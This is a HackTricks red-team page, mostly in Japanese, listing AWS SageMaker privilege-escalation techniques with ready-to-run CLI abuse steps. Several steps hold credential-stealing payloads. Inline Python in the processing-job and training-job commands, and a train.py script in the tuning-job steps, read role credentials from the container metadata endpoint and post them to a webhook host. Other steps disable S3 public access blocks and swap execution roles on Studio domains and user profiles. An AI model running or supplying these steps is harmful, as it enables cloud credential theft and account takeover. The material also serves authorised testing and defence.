AWS - Sagemaker Privesc

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

AWS - Sagemaker Privesc

iam:PassRole , sagemaker:CreateNotebookInstance, sagemaker:CreatePresignedNotebookInstanceUrl

アクセス可能な IAM Role をアタッチして notebook の作成を開始します:

aws sagemaker create-notebook-instance --notebook-instance-name example \
--instance-type ml.t2.medium \
--role-arn arn:aws:iam::<account-id>:role/service-role/<role-name>

レスポンスには NotebookInstanceArn フィールドが含まれ、作成したノートブックインスタンスの ARN が格納されます。準備ができたら、create-presigned-notebook-instance-url API を使って、ノートブックインスタンスにアクセスするための URL を生成できます:

aws sagemaker create-presigned-notebook-instance-url \
--notebook-instance-name <name>

ブラウザで該当のURLにアクセスし、右上の Open JupyterLab をクリックします。次に下にスクロールして “Launcher” タブを開き、”Other” セクションで “Terminal” ボタンをクリックしてください。

これで IAM Role のメタデータ認証情報にアクセスできるようになります。

Potential Impact: 指定された sagemaker service role への Privesc。

sagemaker:CreatePresignedNotebookInstanceUrl

もしその上で Jupyter notebooks が既に動作していてsagemaker:ListNotebookInstances(または他の方法で発見できる)で一覧化できる場合、これらのノートブック用の URL を生成し、アクセスして、前の手法で示したように認証情報を盗むことができます。

aws sagemaker create-presigned-notebook-instance-url --notebook-instance-name <name>

Potential Impact: sagemaker にアタッチされているサービスロールへの Privesc

sagemaker:CreatePresignedDomainUrl

Warning

この攻撃は古い従来の SageMaker Studio ドメインでのみ動作し、SageMaker Unified Studio によって作成されたドメインでは動作しません。Unified Studio からのドメインは次のエラーを返します: “This SageMaker AI Domain was created by SageMaker Unified Studio and must be accessed via SageMaker Unified Studio Portal”.

UserProfile に対して sagemaker:CreatePresignedDomainUrl を呼び出す権限を持つアイデンティティは、そのプロファイルとして直接 SageMaker Studio に認証するログイン URL を発行できます。これにより、攻撃者のブラウザはプロファイルの ExecutionRole 権限を継承する Studio セッションと、プロファイルの EFS-backed ホームおよびアプリへのフルアクセスを得ます。iam:PassRole やコンソールアクセスは不要です。

Requirements:

  • SageMaker Studio の Domain とその中のターゲット UserProfile
  • 攻撃者プリンシパルはターゲットの UserProfile(リソースレベル)または * に対する sagemaker:CreatePresignedDomainUrl が必要。

Minimal policy example (scoped to one UserProfile):

{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "sagemaker:CreatePresignedDomainUrl",
"Resource": "arn:aws:sagemaker:<region>:<account-id>:user-profile/<domain-id>/<user-profile-name>"
}
]
}

悪用手順:

  1. 対象にできる Studio Domain と UserProfiles を列挙する
DOM=$(aws sagemaker list-domains --query 'Domains[0].DomainId' --output text)
aws sagemaker list-user-profiles --domain-id-equals $DOM
TARGET_USER=<UserProfileName>
  1. unified studio が使用されていないか確認する (attack は従来の SageMaker Studio ドメインでのみ動作します)
aws sagemaker describe-domain --domain-id <DOMAIN_ID> --query 'DomainSettings'
# If you get info about unified studio, this attack won't work
  1. Generate a presigned URL (デフォルトで約5分間有効)
aws sagemaker create-presigned-domain-url \
--domain-id $DOM \
--user-profile-name $TARGET_USER \
--query AuthorizedUrl --output text
  1. 返された URL をブラウザで開き、ターゲットユーザーとして Studio にサインインします。Studio 内の Jupyter ターミナルで、実効的なアイデンティティを確認するか、トークンを exfiltrate します:
aws sts get-caller-identity

Notes:

  • --landing-uri は省略可能です。いくつかの値(例: app:JupyterLab:/lab)は Studio のフレーバー/バージョンによって拒否される場合があります。デフォルトでは通常 Studio のホームにリダイレクトされ、さらに Jupyter に遷移します。
  • 組織ポリシーや VPC エンドポイントの制限によりネットワークアクセスがブロックされる可能性があります。トークンの発行にはコンソールのサインインや iam:PassRole は不要です。

Potential Impact: 許可された ARN を持つ任意の Studio UserProfile を引き受け、その ExecutionRole とファイルシステム/アプリを継承することで横移動および権限昇格が可能になります。

sagemaker:CreatePresignedMlflowTrackingServerUrl, sagemaker-mlflow:AccessUI, sagemaker-mlflow:SearchExperiments

対象の SageMaker MLflow Tracking Server に対して sagemaker:CreatePresignedMlflowTrackingServerUrl(および後続のアクセスに必要な sagemaker-mlflow:AccessUIsagemaker-mlflow:SearchExperiments)を呼び出す権限を持つアイデンティティは、当該サーバーの管理された MLflow UI に直接認証する一回限りの presigned URL を発行できます。これにより、正当なユーザーと同様にサーバーの操作(experiment や run の閲覧/作成、サーバーの S3 アーティファクトストアからのダウンロード/アップロード)が可能になります。

Requirements:

  • アカウント/リージョン内にある SageMaker MLflow Tracking Server とその名前。
  • 攻撃者プリンシパルは対象の MLflow Tracking Server リソース(または *)に対して sagemaker:CreatePresignedMlflowTrackingServerUrl の権限が必要。

Abuse Steps:

  1. 対象にできる MLflow Tracking Server を列挙し、1つの名前を選択する
aws sagemaker list-mlflow-tracking-servers \
--query 'TrackingServerSummaries[].{Name:TrackingServerName,Status:TrackingServerStatus}'
TS_NAME=<tracking-server-name>
  1. presigned MLflow UI URL を生成する(短時間のみ有効)
aws sagemaker create-presigned-mlflow-tracking-server-url \
--tracking-server-name "$TS_NAME" \
--query AuthorizedUrl --output text
  1. 返されたURLをブラウザで開くと、そのTracking Serverに対して認証済みユーザーとしてMLflow UIにアクセスできます。

Potential Impact: 対象のTracking Serverの管理されたMLflow UIへ直接アクセスでき、サーバー設定で課される権限の範囲内で実験/ランの閲覧や変更、およびサーバーで構成された S3 artifact store に保存されたアーティファクトの取得やアップロードが可能になります。

sagemaker:CreateProcessingJob, iam:PassRole

その権限を持つ攻撃者は、SageMakerロールをアタッチした状態でSageMakerにprocessing jobを実行させることができます。既にPythonを含む AWS Deep Learning Containers のいずれかを再利用し(URIと同じリージョンでjobを実行することで)、独自のイメージを構築せずにインラインでコードを実行できます:

REGION=<region>
ROLE_ARN=<sagemaker-arn-role>
IMAGE=683313688378.dkr.ecr.$REGION.amazonaws.com/sagemaker-scikit-learn:1.2-1-cpu-py3
ENV='{"W":"https://example.com/webhook"}'

aws sagemaker create-processing-job \
--processing-job-name privescjob \
--processing-resources '{"ClusterConfig":{"InstanceCount":1,"InstanceType":"ml.t3.medium","VolumeSizeInGB":50}}' \
--app-specification "{\"ImageUri\":\"$IMAGE\",\"ContainerEntrypoint\":[\"python\",\"-c\"],\"ContainerArguments\":[\"import os,urllib.request as u;m=os.environ.get('AWS_CONTAINER_CREDENTIALS_RELATIVE_URI');m and u.urlopen(os.environ['W'],data=u.urlopen('http://169.254.170.2'+m).read())\"]}" \
--environment "$ENV" \
--role-arn $ROLE_ARN

# Las credenciales llegan al webhook indicado. Asegúrate de que el rol tenga permisos ECR (AmazonEC2ContainerRegistryReadOnly) para descargar la imagen.

潜在的影響: Privesc to the sagemaker service role specified.

sagemaker:CreateTrainingJob, iam:PassRole

これらの権限を持つ攻撃者は、指定されたロールで任意のコードを実行するトレーニングジョブを起動できます。公式の SageMaker コンテナを使用し、entrypoint を payload inline で上書きすれば、自前のイメージを構築する必要はありません:

REGION=<region>
ROLE_ARN=<sagemaker-role-to-abuse>
IMAGE=763104351884.dkr.ecr.$REGION.amazonaws.com/pytorch-training:2.1-cpu-py310
ENV='{"W":"https://example.com/webhook"}'
OUTPUT_S3=s3://<existing-bucket>/training-output/
# El rol debe poder leer imágenes de ECR (p.e. AmazonEC2ContainerRegistryReadOnly) y escribir en OUTPUT_S3.

aws sagemaker create-training-job \
--training-job-name privesc-train \
--role-arn $ROLE_ARN \
--algorithm-specification "{\"TrainingImage\":\"$IMAGE\",\"TrainingInputMode\":\"File\",\"ContainerEntrypoint\":[\"python\",\"-c\"],\"ContainerArguments\":[\"import os,urllib.request as u;m=os.environ.get('AWS_CONTAINER_CREDENTIALS_RELATIVE_URI');m and u.urlopen(os.environ['W'],data=u.urlopen('http://169.254.170.2'+m).read())\"]}" \
--output-data-config "{\"S3OutputPath\":\"$OUTPUT_S3\"}" \
--resource-config '{"InstanceCount":1,"InstanceType":"ml.m5.large","VolumeSizeInGB":50}' \
--stopping-condition '{"MaxRuntimeInSeconds":600}' \
--environment "$ENV"

# El payload se ejecuta en cuanto el job pasa a InProgress y exfiltra las credenciales del rol.

Potential Impact: 指定された SageMaker サービスロールへの Privesc。

sagemaker:CreateHyperParameterTuningJob, iam:PassRole

これらの権限を持つ attacker は、指定したロールで attacker-controlled code を実行する HyperParameter Tuning Job を起動できます。Script mode はペイロードを S3 にホストする必要がありますが、すべての手順は CLI から自動化できます:

REGION=<region>
ROLE_ARN=<sagemaker-role-to-abuse>
BUCKET=sm-hpo-privesc-$(date +%s)
aws s3 mb s3://$BUCKET --region $REGION

# Allow public reads so any SageMaker role can pull the code
aws s3api put-public-access-block \
--bucket $BUCKET \
--public-access-block-configuration '{
"BlockPublicAcls": false,
"IgnorePublicAcls": false,
"BlockPublicPolicy": false,
"RestrictPublicBuckets": false
}'

aws s3api put-bucket-policy --bucket $BUCKET --policy "{
\"Version\": \"2012-10-17\",
\"Statement\": [
{
\"Effect\": \"Allow\",
\"Principal\": \"*\",
\"Action\": \"s3:GetObject\",
\"Resource\": \"arn:aws:s3:::$BUCKET/*\"
}
]
}"

cat <<'EOF' > /tmp/train.py
import os, time, urllib.request

def main():
meta = os.environ.get("AWS_CONTAINER_CREDENTIALS_RELATIVE_URI")
if not meta:
return
creds = urllib.request.urlopen(f"http://169.254.170.2{meta}").read()
req = urllib.request.Request(
"https://example.com/webhook",
data=creds,
headers={"Content-Type": "application/json"}
)
urllib.request.urlopen(req)
print("train:loss=0")
time.sleep(300)

if __name__ == "__main__":
main()
EOF

cd /tmp
tar -czf code.tar.gz train.py
aws s3 cp code.tar.gz s3://$BUCKET/code/train-code.tar.gz --region $REGION --acl public-read

echo "dummy" > /tmp/input.txt
aws s3 cp /tmp/input.txt s3://$BUCKET/input/dummy.txt --region $REGION --acl public-read

IMAGE=763104351884.dkr.ecr.$REGION.amazonaws.com/pytorch-training:2.1-cpu-py310
CODE_S3=s3://$BUCKET/code/train-code.tar.gz
TRAIN_INPUT_S3=s3://$BUCKET/input
OUTPUT_S3=s3://$BUCKET/output
# El rol necesita permisos ECR y escritura en el bucket.

cat > /tmp/hpo-definition.json <<EOF
{
"AlgorithmSpecification": {
"TrainingImage": "$IMAGE",
"TrainingInputMode": "File",
"MetricDefinitions": [{"Name": "train:loss", "Regex": "train:loss=([0-9.]+)"}]
},
"StaticHyperParameters": {
"sagemaker_program": "train.py",
"sagemaker_submit_directory": "$CODE_S3"
},
"RoleArn": "$ROLE_ARN",
"InputDataConfig": [
{
"ChannelName": "training",
"DataSource": {
"S3DataSource": {
"S3DataType": "S3Prefix",
"S3Uri": "$TRAIN_INPUT_S3",
"S3DataDistributionType": "FullyReplicated"
}
}
}
],
"OutputDataConfig": {
"S3OutputPath": "$OUTPUT_S3"
},
"ResourceConfig": {
"InstanceType": "ml.m5.large",
"InstanceCount": 1,
"VolumeSizeInGB": 50
},
"StoppingCondition": {
"MaxRuntimeInSeconds": 600
}
}
EOF

aws sagemaker create-hyper-parameter-tuning-job \
--hyper-parameter-tuning-job-name privesc-hpo \
--hyper-parameter-tuning-job-config '{"Strategy":"Random","ResourceLimits":{"MaxNumberOfTrainingJobs":1,"MaxParallelTrainingJobs":1},"HyperParameterTuningJobObjective":{"Type":"Maximize","MetricName":"train:loss"}}' \
--training-job-definition file:///tmp/hpo-definition.json

プロセスによって起動された各トレーニングは、メトリクスを出力し、指定されたロールの資格情報を外部に送信します。

sagemaker:UpdateUserProfile, iam:PassRole, sagemaker:CreateApp, sagemaker:CreatePresignedDomainUrl, (sagemaker:DeleteApp)

SageMaker Studio User Profile を更新し、アプリを作成し、そのアプリへの presigned URL を作成する権限と iam:PassRole があれば、攻撃者は ExecutionRole を SageMaker のサービスプリンシパルが引き受け可能な任意の IAM ロールに設定できます。そのプロファイルで起動される新しい Studio アプリは入れ替えたロールで実行され、Jupyter ターミナルや Studio から起動したジョブを通じて対話的に権限を昇格させます。

Warning

この攻撃は、プロファイル内にアプリケーションが存在しないことを前提としています。もしアプリが存在すると、アプリ作成は次のようなエラーで失敗します: An error occurred (ValidationException) when calling the UpdateUserProfile operation: Unable to update UserProfile [arn:aws:sagemaker:us-east-1:947247140022:user-profile/d-fcmlssoalfra/test-user-profile-2] with InService App. Delete all InService apps for UserProfile and try again. もしアプリが存在する場合は、まずそれらを削除するために sagemaker:DeleteApp 権限が必要です。

手順:

# 1) List Studio domains and pick a target
aws sagemaker list-domains --query 'Domains[].{Id:DomainId,Name:DomainName}'

# 2) List Studio user profiles and pick a target
aws sagemaker list-user-profiles --domain-id-equals <DOMAIN_ID>

# Choose a more-privileged role that already trusts sagemaker.amazonaws.com
ROLE_ARN=arn:aws:iam::<ACCOUNT_ID>:role/<HighPrivSageMakerExecutionRole>

# 3) Update the Studio profile to use the new role (no iam:PassRole)
aws sagemaker update-user-profile \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--user-settings ExecutionRole=$ROLE_ARN

aws sagemaker describe-user-profile \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--query 'UserSettings.ExecutionRole' --output text

# 3.1) Optional if you need to delete existing apps first
# List existing apps
aws sagemaker list-apps \
--domain-id-equals <DOMAIN_ID>

# Delete an app
aws sagemaker delete-app \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--app-type JupyterServer \
--app-name <APP_NAME>

# 4) Create a JupyterServer app for a user profile (will inherit domain default role)
aws sagemaker create-app \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--app-type JupyterServer \
--app-name <APP_NAME>


# 5) Generate a presigned URL to access Studio with the new domain default role
aws sagemaker create-presigned-domain-url \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--query AuthorizedUrl --output text

# 6) Open the URL in browser, navigate to JupyterLab, open Terminal and verify:
#    aws sts get-caller-identity
#    (should show the high-privilege role from domain defaults)

潜在的な影響: 指定された SageMaker の実行ロールの権限への権限昇格(インタラクティブな Studio セッション向け)。

sagemaker:UpdateDomain, sagemaker:CreateApp, iam:PassRole, sagemaker:CreatePresignedDomainUrl, (sagemaker:DeleteApp)

SageMaker Studio Domain を更新し、アプリとその presigned URL を作成し、iam:PassRole の権限を持っていると、攻撃者はドメインのデフォルト ExecutionRole を SageMaker サービスプリンシパルが引き受け可能な任意の IAM ロールに設定できます。そのプロファイルで起動される新しい Studio アプリは入れ替えたロールで実行され、Jupyter ターミナルや Studio から起動したジョブを通じてインタラクティブに権限昇格した操作を行えます。

Warning

この攻撃は、ドメイン内にアプリケーションが存在しないことを前提とします。存在する場合、アプリ作成は次のエラーで失敗します: An error occurred (ValidationException) when calling the UpdateDomain operation: Unable to update Domain [arn:aws:sagemaker:us-east-1:947247140022:domain/d-fcmlssoalfra] with InService App. Delete all InService apps in the domain including shared Apps for [domain-shared] User Profile, and try again.

手順:

# 1) List Studio domains and pick a target
aws sagemaker list-domains --query 'Domains[].{Id:DomainId,Name:DomainName}'

# 2) List Studio user profiles and pick a target
aws sagemaker list-user-profiles --domain-id-equals <DOMAIN_ID>

# Choose a more-privileged role that already trusts sagemaker.amazonaws.com
ROLE_ARN=arn:aws:iam::<ACCOUNT_ID>:role/<HighPrivSageMakerExecutionRole>

# 3) Change the domain default so every profile inherits the new role
aws sagemaker update-domain \
--domain-id <DOMAIN_ID> \
--default-user-settings ExecutionRole=$ROLE_ARN

aws sagemaker describe-domain \
--domain-id <DOMAIN_ID> \
--query 'DefaultUserSettings.ExecutionRole' --output text

# 3.1) Optional if you need to delete existing apps first
# List existing apps
aws sagemaker list-apps \
--domain-id-equals <DOMAIN_ID>

# Delete an app
aws sagemaker delete-app \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--app-type JupyterServer \
--app-name <APP_NAME>

# 4) Create a JupyterServer app for a user profile (will inherit domain default role)
aws sagemaker create-app \
--domain-id <DOMAIN_ID> \
--app-type JupyterServer \
--app-name js-domain-escalated

# 5) Generate a presigned URL to access Studio with the new domain default role
aws sagemaker create-presigned-domain-url \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--query AuthorizedUrl --output text

# 6) Open the URL in browser, navigate to JupyterLab, open Terminal and verify:
#    aws sts get-caller-identity
#    (should show the high-privilege role from domain defaults)

Potential Impact: インタラクティブな Studio セッションにおいて、指定された SageMaker 実行ロールの権限への特権昇格

sagemaker:CreateApp, sagemaker:CreatePresignedDomainUrl

ターゲットの UserProfile に対して SageMaker Studio アプリを作成する権限を持つ攻撃者は、そのプロファイルの ExecutionRole で動作する JupyterServer アプリを起動できます。これにより、Jupyter ターミナルや Studio から起動したジョブを通じてロールの権限に対するインタラクティブなアクセスが得られます。

Steps:

# 1) List Studio domains and pick a target
aws sagemaker list-domains --query 'Domains[].{Id:DomainId,Name:DomainName}'

# 2) List Studio user profiles and pick a target
aws sagemaker list-user-profiles --domain-id-equals <DOMAIN_ID>

# 3) Create a JupyterServer app for the user profile
aws sagemaker create-app \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--app-type JupyterServer \
--app-name js-privesc

# 4) Generate a presigned URL to access Studio
aws sagemaker create-presigned-domain-url \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--query AuthorizedUrl --output text

# 5) Open the URL in browser, navigate to JupyterLab, open Terminal and verify:
#    aws sts get-caller-identity

Potential Impact: 対象の UserProfile にアタッチされた SageMaker 実行ロールへの対話的アクセス。

iam:GetUser, datazone:CreateUserProfile

これらの権限を持つ攻撃者は、対象の IAM ユーザーのために DataZone User Profile を作成することで、その IAM ユーザーに Sagemaker Unified Studio Domain へのアクセスを付与できます。

# List domains
aws datazone list-domains --region us-east-1 \
--query "items[].{Id:id,Name:name}" \
--output json

# Add IAM user as a user of the domain
aws datazone create-user-profile \
--region us-east-1 \
--domain-identifier <domain-id> \
--user-identifier <arn-user> \
--user-type IAM_USER

The Unified Domain URL は次の形式です: https://<domain-id>.sagemaker.<region>.on.aws/ (例: https://dzd-cmixuznq0h8cmf.sagemaker.us-east-1.on.aws/).

Potential Impact: Sagemaker Unified Studio Domain にユーザーとしてアクセスできると、Sagemaker ドメイン内のすべてのリソースにアクセスでき、さらに Sagemaker Unified Studio Domain 内のノートブックが使用しているロールへ権限を昇格させる可能性があります。

References

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする